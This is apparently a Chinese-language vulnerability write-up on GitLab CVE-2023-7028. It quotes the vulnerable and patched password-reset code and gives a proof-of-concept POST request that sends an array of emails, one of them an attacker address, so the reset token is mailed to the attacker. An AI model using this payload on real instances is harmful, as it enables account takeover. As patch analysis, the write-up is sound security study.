浅析Gitlab未授权密码重置(CVE-2023-7028)

浅析Gitlab未授权密码重置(CVE-2023-7028)

补丁在https://gitlab.com/rluna-gitlab/gitlab-ce/-/commit/24d1060c0ae7d0ba432271da98f4fa20ab6fd671,由于问题非常简单,这里就不多说了

可以看到在原来的逻辑当中app/models/concerns/recoverable_by_any_email.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
module RecoverableByAnyEmail
extend ActiveSupport::Concern

class_methods do
def send_reset_password_instructions(attributes = {})
email = attributes.delete(:email)
super unless email

recoverable = by_email_with_errors(email)
recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted?
recoverable
end

private

def by_email_with_errors(email)
record = find_by_any_email(email, confirmed: true) || new
record.errors.add(:email, :invalid) unless record.persisted?
record
end
end

def send_reset_password_instructions(opts = {})
token = set_reset_password_token
send_reset_password_instructions_notification(token, opts)

token
end

private

def send_reset_password_instructions_notification(token, opts = {})
send_devise_notification(:reset_password_instructions, token, opts)
end
end

首先获取参数email,通过by_email_with_errors方法查找用户,如果未找到用户也会向记录中添加错误,接下来我们具体看看find_by_any_email方法,如果email参数存在则继续向下执行by_any_email方法

1
2
3
4
5
def find_by_any_email(email, confirmed: false)
return unless email

by_any_email(email, confirmed: confirmed).take
end

在这里我们也不必要梳理具体的逻辑,从by_user_email的参数我们可以看出,它通过iwhere去查找对应的记录,同时我们可以发现从参数类型可以看到它是支持数组的!如果记录存在就会触发密码重置邮件的发送。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def by_any_email(emails, confirmed: false)
from_users = by_user_email(emails)
from_users = from_users.confirmed if confirmed

from_emails = by_emails(emails).merge(Email.confirmed)
from_emails = from_emails.confirmed if confirmed

items = [from_users, from_emails]

user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase))
items << where(id: user_ids) if user_ids.present?

from_union(items)
end

xxx省略xxx
scope :by_user_email, -> (emails) { iwhere(email: Array(emails)) }
scope :by_emails, -> (emails) { joins(:emails).where(emails: { email: Array(emails).map(&:downcase) }) }
scope :for_todos, -> (todos) { where(id: todos.select(:user_id).distinct) }
scope :with_emails, -> { preload(:emails) }
scope :with_dashboard, -> (dashboard) { where(dashboard: dashboard) }
scope :with_public_profile, -> { where(private_profile: false) }
scope :with_expiring_and_not_notified_personal_access_tokens, ->(at) do
where('EXISTS (?)', ::PersonalAccessToken
.where('personal_access_tokens.user_id = users.id')
.without_impersonation
.expiring_and_not_notified(at).select(1)
)

因此我们不难构造其poc

1
2
3
4
5
POST /users/password HTTP/1.1
Host: 118.195.225.92:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

authenticity_token=GNymVmxzUZVZrVqQS5cCtrlDwdbdGpmh4v4ojIqKc1r_yUalsQ7K5QclCQihuK88E2lJvcMGcPr5E4uJH1qtGw&user[email][]=123@163.com&user[email][]=47.109.68.247:1234/?a=@qq.com

简单看一下修复后的代码,虽然代码变动还是蛮大的,但是我们不难发现有一点,在查询时调用了attributes[:email].to_s,这个to_s其实就会将其转换为字符串,也避免了数组的问题,后面还有些其他的改动当然不是很重要,有兴趣自己看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
module RecoverableByAnyEmail
extend ActiveSupport::Concern

class_methods do
def send_reset_password_instructions(attributes = {})
return super unless attributes[:email]

email = Email.confirmed.find_by(email: attributes[:email].to_s)
return super unless email

recoverable = email.user

recoverable.send_reset_password_instructions(to: email.email)
recoverable
end
end

def send_reset_password_instructions(opts = {})
token = set_reset_password_token

send_reset_password_instructions_notification(token, opts)

token
end

protected

def send_reset_password_instructions_notification(token, opts = {})
send_devise_notification(:reset_password_instructions, token, opts)
end
end